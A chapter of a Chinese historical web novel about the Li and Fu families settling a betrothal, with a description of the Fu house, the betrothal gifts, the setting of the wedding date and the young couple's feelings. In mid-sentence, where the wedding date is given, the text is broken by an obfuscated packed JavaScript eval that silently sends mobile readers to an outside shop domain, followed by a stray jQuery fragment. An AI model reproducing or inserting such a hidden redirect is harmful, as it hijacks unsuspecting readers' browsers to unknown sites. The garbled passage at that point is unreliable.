柳叶巷往东，穿过一条窄窄的乌衣巷，再拐进一条更窄的井儿胡同，走到尽头，便是傅家。
傅家的宅子是三进的。
比起李家五进的阔绰，三进实在算不得什么。但傅家的三进，是“官式”的三进——这不是说傅家做过大官，而是说这宅子的格局是按照读书人家的规矩建的：大门不冲着正厅，影壁后面是仪门，仪门后面才是正院。商贾人家的宅子可以宽、可以大，但读书人家的宅子，讲究的是“正”。
大门是黑色的，比李家的窄了一尺有余，门环是黄铜的，擦得锃亮。门楣上没有匾额——傅知说，等自己中了举人再挂匾，没中之前，不配。
进门是影壁。青砖的，没有砖雕，素面朝天，只刷了一层白灰。白灰上写着一个“福”字，是傅知自己写的，笔锋瘦硬，一撇一捺都带着劲。
影壁后面是第一进院子。
这院子窄而长，铺着青砖，砖缝里长着细细的青苔。两侧是倒座房，一共四间，两间堆杂物，一间给下人住，一间空着。傅家下人少——一个门房老刘头，一个厨娘赵妈，一个书童傅二，再加上一个偶尔来帮工的粗使婆子，拢共就这几个人。四间倒座房绰绰有余。
从第一进穿过仪门，是第二进。
这才是傅家的正院。
正厅坐北朝南，面阔三间，但比李家的窄一些。廊柱是原木色的，没有上漆，柱子的纹理清晰可见，有些地方已经被虫子蛀了，露出细细的小洞。檐下没有宫灯，挂的是两盏素纸灯笼，灯罩上写着“傅”字，墨色已经淡了。
正厅的门是松木的，没有雕花，朴素得像普通百姓家的门。但推开进去，内里的布置却另有乾坤。
正中间是一幅中堂画——不是买的，是傅知自己画的。画的是墨竹，一竿修竹拔地而起，竹叶疏疏朗朗，用墨极淡。画的两边挂着一副对联，上联“一等人忠臣孝子”，下联“两件事读书耕田”。字是傅知临的颜真卿，笔力雄健，与傅知清瘦的外表判若两人。
中堂下是一张长条案，榆木的，没有上漆，保留着木材原本的纹理。案上摆着一对白瓷瓶，瓶里插着几枝干枯的莲蓬——不是应景的装饰，是去年秋天留下的，傅知说枯莲蓬有“残荷听雨”的意境。
案前一架八仙桌，同样榆木的，桌面磨得光滑发亮。桌子两侧是两把太师椅，椅背的雕花极其简单，不过是几道直线。
两侧靠墙是书架，不是摆设——书架上满满当当地塞着书，有些书页已经泛黄卷边。书架前各放两把木椅，椅面是硬木的，没有坐垫。
地上铺的是方砖，灰色，有些砖面上有裂痕，但扫得干干净净。
这就是傅家的正厅——朴素，清寒，但有一种不容置疑的书卷气。
正厅往东，穿过一条短短的抄手游廊，是第三进——内院。
内院比前院更小。院子里没有花木，只有一棵石榴树，树干歪歪扭扭的，但每年都结很多果子。石榴树下是一口压水井，井台用青石板铺成，石板上长了墨绿色的苔藓。
正房是傅知和傅夫人的起居室。明间摆着圆桌圆凳，桌上放着一把紫砂壶——这是傅家少数几件值钱的东西，是傅知父亲留下的。壶身已经养出了包浆，温润得像玉。
东次间是傅知的卧房，西次间是傅夫人的。卧房里的家具都是老物件——傅知睡的那张架子床，是他父亲娶亲时打的，少说也有三十年了，床柱上的漆已经斑驳，但结实得很。
东西厢房各两间。东厢住着傅槐和傅柳——傅槐住北边那间，傅柳住南边那间。西厢空着，偶尔来了远亲，就安排在那里住。
傅槐的房间里，书比衣裳多。一张书桌靠窗摆着，桌上铺着蓝布桌垫，笔架上挂着三支笔，砚台是端砚，砚池里还残着干了的墨迹。床头的墙上贴着他自己写的座右铭——“读书志在圣贤”——六个字，工工整整，一笔一划都不含糊。
傅家的仆人就住在第一进的倒座房里，平日里各司其职，前院后院地跑。人少，事情就杂，谁都得顶好几摊活儿。赵妈除了做饭，还得帮忙浆洗衣裳；老刘头除了看门，还得负责采买；傅二除了伺候少爷，还得跑腿送信。
傅家不富裕，这是明摆着的事。
但傅家不觉得这是什么丢人的事。
傅知常说：“家贫不是病，志短才是。”
傅夫人虽然嘴上不说，但心里有时候会想——要是家里再宽裕些，槐儿的冬衣就不用穿前年的了。
赏花宴过去七天。
这七天里，李夫人等得心焦。她不好明着催，但每天都要问四丫一句：“王妈妈来过没有？”
四丫每次都说没有。
李夫人面上不显，但手底下的活计却多了起来——她开始翻箱倒柜地整理李淑芸的嫁妆单子。虽然亲事还没定，但她心里有数：傅家要是不来提亲，那就是傅知老爷眼瞎了。
第七天下午，王妈妈来了。
她是走着来的，穿了一身新做的酱紫色褙子，头上戴着一对赤金簪子，脸上涂了厚厚的脂粉，远远看去像一朵开了有些时日的芍药花。
王妈妈进门的时候，李原正在正厅里和陈航下棋——陈航今天来谈粮食的生意，谈完了没走，摆开棋盘杀了两盘。李原棋艺不精，连输两盘，正有点懊恼，听见王妈妈的声音从影壁那边传来，他手里的棋子“啪”地落在棋盘上，歪了。
“李老爷！李老爷！好消息！”王妈妈的声音穿透力极强，整个二进院子都听得见。
李原站起身，整了整衣襟：“陈兄，失陪一下。”
陈航摆摆手，端起茶盏，嘿嘿笑了两声。他当然知道王妈妈是来做什么的——赏花宴那天的事，他已经从妻子那里听了个七七八八。
李原迎到影壁后面。
王妈妈已经进了第一进院子，正站在影壁旁边，笑得满脸褶子都堆起来了。
“傅家请老身来提亲了！”王妈妈不等李原开口，直接亮出了来意。
李原心跳快了一拍，但面色沉稳：“到正厅说话。”
正厅里，李夫人已经闻讯赶来了。她坐在李原旁边，手里攥着绣帕，面上挂着得体的微笑，但绣帕已经被她攥出了深深的褶子。
王妈妈坐在客位，四丫端上茶来。
“李老爷，李夫人，”王妈妈喝了口茶，清了清嗓子，“傅家的意思，是尽快把亲事定下来。傅知老爷说了，两个孩子年龄相当，品貌相当，才学也相当——这门亲事，是天作之合。”
李原沉吟了一下：“傅家……下定了吗？”
“下了下了！”王妈妈从袖中掏出一个红漆匣子，双手捧上，“这是傅家的小定——傅夫人亲自挑的，说是不敢太寒酸，也不敢太铺张，正正好好，才显得出诚意。”
李原接过匣子，打开。
里面是一对银镯——不是那种薄片子打成的空心镯子，是实心的，分量足，镯面上錾着兰花，叶子脉络清晰，花瓣舒展。镯子旁边是一对白玉耳环，玉质温润，虽然不大，但成色极好，透光看，里面没有一丝杂质。
匣子底层铺着一匹月白色的绸子，料子细密，手感滑爽。
李原把匣子递给李夫人。李夫人接过去，一件一件地看，看得很仔细——她不是挑剔，是想从这些东西里看出傅家的态度。
银镯是实心的，说明傅家不小气。白玉耳环虽小，但成色极好，说明傅家识货、有品位。月白绸子素净雅致，不选大红大绿，说明傅家不张扬。
李夫人合上匣子，朝丈夫微微点了点头。
李原转向王妈妈：“傅家有没有说，什么时候行大礼？”
王妈妈眼睛一亮——李原这么说，等于是同意了。
“傅夫人的意思是，先看日子。如果李老爷李夫人没有异议，傅家想请二位过府一叙，当面商议婚期。”
“去傅府？”李夫人问。
“是。傅夫人说了，本该是她来拜访李夫人，但她身子不太爽利，这几日犯了头疾，不好出门。所以想请李夫人屈尊过去一趟。”
李夫人看了丈夫一眼。
李原微微颔首。
“好，”李夫人说，“那就叨扰傅夫人了。”
王妈妈笑得合不拢嘴：“那老身就回去复命了！日子嘛，李夫人看哪天方便？”
“三日后。”李夫人说。
“三日后！”王妈妈站起身，福了一礼，“老身这就去傅家回话！”
王妈妈走后，李原和李夫人坐在正厅里，一时无言。
李原端起茶盏，发现茶已经凉了，又放下。
“你觉得怎么样？”他问。
李夫人把红漆匣子又打开看了一遍，把银镯拿起来，在灯下转了转。银光流转，兰花的纹样在她指尖下忽明忽暗。
“傅家不富裕，”李夫人说，“但傅家不小气。”
“就这些？”
“还有，”李夫人把镯子放回匣子里，“傅家很懂礼数。小定的东西不多，但件件用心。银镯是实心的——不是打肿脸充胖子，是宁肯少给几样，也要给最好的。这种人家，不会亏待媳妇。”
李原沉默了一会儿，叹了口气：“淑芸那边……你跟她说吧。”
李夫人起身，捧着红漆匣子，往后院走。
李淑芸正坐在西厢房里绣花。
绣绷上是一幅兰草图——她绣了大半个月了，还差最后几针。兰叶修长，花瓣舒展，用的是深浅不一的绿色和白色丝线，远看像一幅水墨画。
四丫守在门口，看见李夫人来了，赶紧打起帘子：“夫人来了。”
李淑芸放下针线，站起身。
李夫人进来，把红漆匣子放在桌上，在床边坐下。
“坐下。”她拍了拍身边的床沿。
李淑芸坐下，目光落在红漆匣子上。
“傅家来提亲了。”李夫人说。
李淑芸没有说话。她的手指微微蜷了一下——只有一下——然后松开。
“这是小定。”李夫人把匣子打开，推到女儿面前。
银镯、白玉耳环、月白绸子。
李淑芸看着这些东西，看了一会儿，然后伸出手，拿起那只银镯，套在自己手腕上。镯子不大不小，刚好合适——傅夫人问了王妈妈，王妈妈问了四丫，四丫偷偷量过小姐的手腕。
银光衬着她白皙的手腕，很好看。
“喜欢吗？”李夫人问。
李淑芸没有回答，但她没有把镯子摘下来。
李夫人笑了。
“三日后，我们去傅家商议婚期。”李夫人站起身，走到门口，回头看了女儿一眼。
李淑芸低着头，手指轻轻摩挲着银镯上的兰花。
她的耳朵尖，是红的。
三日后，五月十六，宜出行、嫁娶。
李原和李夫人一早就起来了。李原穿了一件石青色的绸袍——比平时穿的稍微好一些，但也不过是中等料子。李夫人穿了一件宝蓝色的褙子，头上戴了银丝冠，冠上插着一支翡翠簪子——这是她最体面的一套衣裳，平日里舍不得穿。
四丫跟着去。她穿着青色比甲，头发梳得光光的，手里提着一个食盒——里面是李夫人亲手做的桂花糕，算是上门礼。
马车从李府出发，穿过柳叶巷，拐进乌衣巷，再拐进井儿胡同。胡同窄，马车进不去，在胡同口就停了。
李原先下车，扶着李夫人下来。四丫提着食盒跟在后面。
井儿胡同窄得只容两人并肩。两边是高墙，墙头上长着狗尾巴草，在风里摇摇晃晃。石板路有些年头了，踩上去高低不平，前两天下过雨，低洼处还有浅浅的积水。
走到尽头，便是傅家的大门。
李原抬头看了一眼门楣——没有匾额，素净得近乎寡淡。但他注意到门环擦得锃亮，门槛磨得光滑，门外扫得一尘不染。
“穷而不脏。”李原在心里说了一句。
门房老刘头已经得了信，看见人来，赶紧迎上来，弓着腰：“李老爷，李夫人，老爷夫人正在正厅等着呢。请——”
老刘头引着往里走。
进门是影壁，素面朝天，一个“福”字端端正正。李夫人看见那个“福”字，脚步顿了一下——字写得真好，笔锋瘦硬，不拖泥带水。
过了影壁，是第一进院子。窄而长，青砖铺地，砖缝里长着青苔。两侧倒座房的门窗有些旧了，但擦得干净。院子里没有多余的摆设，只有墙角堆着几盆常见的花——指甲花、太阳花，不值钱，但开得热闹。
李夫人的目光扫过这些，心里有了数。
过了仪门，是第二进正院。
正厅出现在眼前——原木色的廊柱，素纸灯笼，松木格子门。一切都是素的，但素得不寒碜，素得有底气。
傅知和傅夫人已经站在正厅门口迎接了。
傅知穿了一件鸦青色的绸袍，依旧是素面无纹，腰间系着棉布带子。他拱手作揖：“李兄，李夫人，有失远迎。”
李原还礼：“傅兄客气。”
傅夫人穿着绛紫色的褙子，头上戴着银丝冠，冠上插着老银簪。她上前拉着李夫人的手：“李夫人，路上辛苦了。”
“不辛苦不辛苦，傅夫人身子好些了吗？”
“好些了，劳动李夫人挂念。”
两人寒暄着，走进正厅。
正厅里，茶已经备好了。
傅知请李原在八仙桌左侧坐下，自己坐右侧。傅夫人请李夫人在左侧的木椅上坐下，自己坐在旁边的椅子上。四丫把食盒交给赵妈，赵妈端出一碟子桂花糕，放在桌上。
傅二端上茶来——傅知面前是普洱，李原面前是碧螺春。
李原端起茶盏，喝了一口，目光扫过正厅。中堂画是墨竹，画得不算精，但气韵清高。对联的字写得极好，一笔一划都带着力道。书架上塞满了书，不是摆样子的——有些书页卷了边，有些书脊裂了缝，都是被人翻旧了的。
李原在心里给了四个字的评价：清而不酸。
傅知也在打量李原。李原今天的穿着比赏花宴时讲究了些，但也不过分——说明他重视这门亲事，但不愿让傅家觉得李家在摆阔。茶盏放下时没有声响，看中堂画时目光停留得恰到好处——说明他不是那种粗俗的商人。
“李兄，”傅知开口，“小儿傅槐，今年十五，虽不算天资过人，但胜在肯用功。县学的先生说过，三年之内，他有把握中秀才。”
李原点头：“傅公子的人品才学，赏花宴那天我们都看在眼里了。孙兄陈兄都夸。”
傅知面色不变，但嘴角微微动了一下——那是他在忍笑。
“李姑娘，”傅知说，“也是难得的。那首‘不羡牡丹不羡菊’，我回去念了好几遍。”
李原笑了一下：“淑芸那孩子，从小爱读书。我这个做父亲的，没怎么教她，是她自己愿意学。”
傅知点点头：“读书这种事，逼出来的不行，得自己有那份心。”
傅夫人在一旁听着，悄悄看了李夫人一眼。李夫人正端着茶盏，姿态端庄，不急不躁。
傅夫人心里满意了。
说了一会儿闲话，傅知把话题转到正事上。
“李兄，两个孩子的事，既然两家都没有异议，那就该把婚期定下来了。”
李原点头：“正该如此。”
傅知从袖中取出一张红纸，展开，上面写着几个日子——都是请人看过的黄道吉日。
“这是八字先生看的日子，”傅知把红纸递给李原，“最早的是今年腊月，其次是明年三月、六月。”
李原接过去，仔细看了一遍。
腊月太赶了。离现在不过半年，准备嫁妆、过礼、请客，样样都要时间，怕来不及。
三月春暖花开，是好时候。六月太热，办喜事新娘子穿凤冠霞帔，热得受罪。
“三月吧。”李原说。
傅知点头：“我也是这么想的。”
两位当家的对视一眼，都点了点头。
婚期定了——道光十一年，三月
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17702474|208219||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
十六。
事情谈完了，傅夫人留李夫人喝茶吃点心。
李夫人没推辞，坐了下来。傅夫人让赵妈端上几碟点心——桂花糕（李夫人带来的）、绿豆糕（赵妈做的）、云片糕（街上买的）。
李夫人尝了一块绿豆糕，甜而不腻，入口即化：“傅夫人，这绿豆糕做得真好。”
傅夫人笑了：“赵妈在傅家做了十几年了，别的菜一般，但点心是她的拿手。”
两人聊着聊着，就聊到了儿女。
“李夫人，淑芸平日在家都做些什么？”傅夫人问。
李夫人放下筷子：“绣绣花，读读书，帮她弟弟李望看看功课。那孩子懂事，不用我操心。”
“读书读到什么程度了？”
“《论语》读完了，《孟子》读了一部分。她爹的书架子上那些书，她有空就翻翻。我也管不了她——她认得字比我多。”
傅夫人笑起来。她看了一眼李原——李原正和傅知在书架前看一本书，两人凑得很近，指着一页在说什么。
“他们俩倒是投缘。”傅夫人说。
李夫人也看了一眼，笑了。
傅槐和傅柳没有到正厅来——这是规矩。未定亲之前，男女避嫌，即使定了亲，在正式成婚之前也不好多见面。
但傅槐站在书房窗前，透过窗纸上的一个小洞，看见了正厅里的一切。
他看见李原把红纸递给父亲，看见父亲点头，看见李原点头。他看见李夫人喝茶的姿态，看见她放下茶盏时手指的动作——文雅，不急不躁。
他没有看见李淑芸。
但她一定在家。他想。也许正在绣花，也许正在读书，也许正和丫鬟说笑。
他放下窗纸，回到书桌前，重新拿起笔。
他写了一首诗，没有题目，没有落款，写在一张小纸条上，折好，塞进袖子里。
李原和李夫人告辞时，天已经快晌午了。
傅知和傅夫人送到大门外。傅槐不知什么时候也出来了，站在父亲身后，垂手而立，目光低垂。
李夫人上马车前，回头看了傅槐一眼——清俊，沉静，站得笔直。她想起女儿手腕上那只银镯，心里踏实了。
马车从井儿胡同出来，拐进乌衣巷，又拐进柳叶巷。
李夫人靠着车壁，闭着眼睛。
“夫人，”李原说，“你觉得傅家如何？”
李夫人没有睁眼：“三进的宅子，不如咱们家大。下人也少，拢共就那么三四个。”
“嫌穷了？”李原的语气不轻不重。
李夫人睁开眼睛，看着丈夫：“老爷，您这是试探我呢？”
李原没说话。
李夫人坐直了身子：“傅家是不富裕，但傅家不寒酸。这两样不一样。穷是银子的事，寒酸是骨子里的事。傅家的骨子里不寒酸。”
李原沉默了一会儿，点了点头。
“淑芸嫁过去，不会受罪。”李夫人说完这句，又闭上了眼睛。
马车在柳叶巷的青石板路上缓缓走着，车轮咕噜咕噜地响。
李淑芸坐在西厢房的窗前，手里拿着那本翻了很多遍的《论语》，但她的目光不在书上。
窗外那丛海棠的花已经谢了大半，花瓣落了一地，粉白相间，铺在鹅卵石小径上，像一层薄薄的雪。
四丫从外面跑进来，气喘吁吁。
“小姐！老爷夫人回来了！”
李淑芸放下书，但没站起来：“婚期定了？”
四丫愣了——她还没说呢，小姐怎么知道的？
“定了，”四丫说，“明年三月十六。”
李淑芸“嗯”了一声，重新拿起书。
四丫站在门口，进也不是退也不是。她等了半天，见小姐没有继续问的意思，忍不住了：“小姐，您就不问问傅家什么样？”
李淑芸翻了一页书：“什么样？”
四丫来了精神，搬了个小凳子坐在李淑芸脚边，开始绘声绘色地讲起来：“傅家的宅子不大，三进的，没有咱们家大。正厅里挂的是一幅墨竹，对联写的是‘一等人忠臣孝子，两件事读书耕田’，字写得可好了！”
李淑芸听着，嘴角微微弯了一下。
“他们家下人少，就一个门房一个厨娘一个书童。但家里收拾得干干净净的，一点儿也不脏。傅夫人穿的衣裳也是素素的，但气色好，说话和气，笑起来声音软软的。傅知老爷看着严肃，但跟老爷说话的时候还挺热络的——”
“够了。”李淑芸打断她。
四丫闭上嘴，眼睛还是亮晶晶的。
李淑芸低着头，手里的书一页都没翻。她的手腕上，银镯在灯光下泛着柔柔的光。
“还有呢？”她轻声问。
四丫咧嘴笑了，知道小姐其实是想听的，于是接着往下说：“傅家公子也出来了，站在傅老爷身后。他穿了一件靛蓝色的长衫，站得笔直，头都没抬——但我觉得他肯定偷偷看了夫人好几眼！”
李淑芸终于抬起头，看着四丫。
“你看见了？”
“我没看见，”四丫嘻嘻笑，“但我猜的。”
李淑芸把那页书翻过去，纸张发出清脆的声响。
“你猜的？你那张嘴，迟早惹祸。”
四丫缩了缩脖子，但嘴还是咧着的。
夜里，李淑芸躺在床上，月光从窗户纸里透进来，白蒙蒙的一片。
她抬起手腕，银镯子在月光下泛着幽幽的白光。她用另一只手的手指轻轻摩挲着镯面上的兰花——叶子脉络清晰，花瓣舒展，摸上去能感觉到浅浅的凹凸。
傅家。
三进宅子，书架上塞满书，正厅里挂着墨竹。
一个穿靛蓝色长衫的少年，站在父亲身后，垂手而立，目光低垂。
她见过他两次了。第一次在傅府后园，第二次在自家花园的石桥上。两次他都穿着青蓝色的衣裳，站得笔直，说话时不急不慢，眼睛看她时不冷不热。
但是——
她想起石桥上，他说“那我想成为这样的人”的时候，眼睛里有光。
不是那种灼人的光，是那种——像冬天灶膛里炭火的光，温温的，不烫，但暖。
李淑芸把被子拉到下巴，蜷了蜷身体。
银镯碰到嘴唇，凉丝丝的。
她闭上眼睛，嘴角弯着。
道光十一年，三月十六。
还有十个月。
傅槐坐在自己房间的书桌前，从袖子里取出那张折好的纸条，展开，又看了一遍。
上面写着他白天写的那首诗——没有题目，没有落款：
曾向桥边立晚风，
海棠花影月明中。
此生若得同心语，
不负窗前夜半灯。
他看了一遍，又折好，放进抽屉最深处，压在一摞稿纸下面。
然后他拿起笔，研墨，铺纸，开始抄《孟子》。
抄到一半，笔尖顿了一下。
他想起赏花宴那天，李淑芸站在石桥的另一头，晚风吹动她的衣角。她走过来，在他身边站定，看池中的锦鲤。
“那你呢？”她问，“你那首诗里写的‘不争不抢不自弃’，是说你自己的？”
“也许。也许不是。”
“那是什么？”
“是我想成为的人。”
她说：“那我也想成为这样的人。”
他想到这里，笔尖落下去，在纸上写下一个字——
“好”。
然后他把这个字涂掉了，重新抄正文。
但那个“好”字的墨痕透过纸张，留在了下面那一页上，怎么也盖不住。
窗外，石榴树在夜风里轻轻摇晃。
五月的槐花落了一地，香气淡淡的。
傅槐抄完最后一行字，搁下笔，吹灭油灯。
黑暗中，他睁着眼睛，看着窗纸上透进来的月光。
三月十六。
还有十个月。